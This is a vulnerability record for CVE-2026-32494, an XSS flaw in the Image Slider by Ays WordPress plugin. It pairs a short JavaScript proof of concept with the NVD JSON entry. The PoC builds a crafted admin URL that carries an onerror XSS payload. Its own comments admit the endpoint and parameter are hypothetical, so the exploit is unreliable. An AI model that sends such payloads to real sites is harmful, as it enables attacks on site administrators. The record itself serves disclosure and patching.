CVE-2026-32494

<!-- PoC for CVE-2026-32494 --> <!-- Target: Image Slider by Ays <= 2.7.1 --> <script> // 1. Define the malicious payload var payload = '<img src=x onerror=alert(1)>'; // 2. Identify the vulnerable endpoint (Hypothetical based on description) // The vulnerability allows exploiting incorrectly configured access control. // Assuming a parameter like 'slider_id' or 'title' is reflected unsanitized. var targetUrl = 'http://vulnerable-site/wp-admin/admin.php?page=ays-slider-export&slider_id=' + encodeURIComponent(payload); // 3. Simulate the attack vector // In a real attack, this URL would be sent to the victim via email or social engineering. console.log('Exploit URL:', targetUrl); // 4. Demonstrate execution (if loaded in browser) // window.location.href = targetUrl; </script>

{"cve": {"id": "CVE-2026-32494", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:01.107", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Image Slider by Ays ays-slider allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider by Ays: from n/a through <= 2.7.1."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('Cross-site Scripting') en Ays Pro Image Slider de Ays ays-slider permite la Explotación de Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a Image Slider de Ays: desde n/a hasta &lt;= 2.7.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ays-slider/vulnerability/wordpress-image-slider-by-ays-plugin-2-7-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}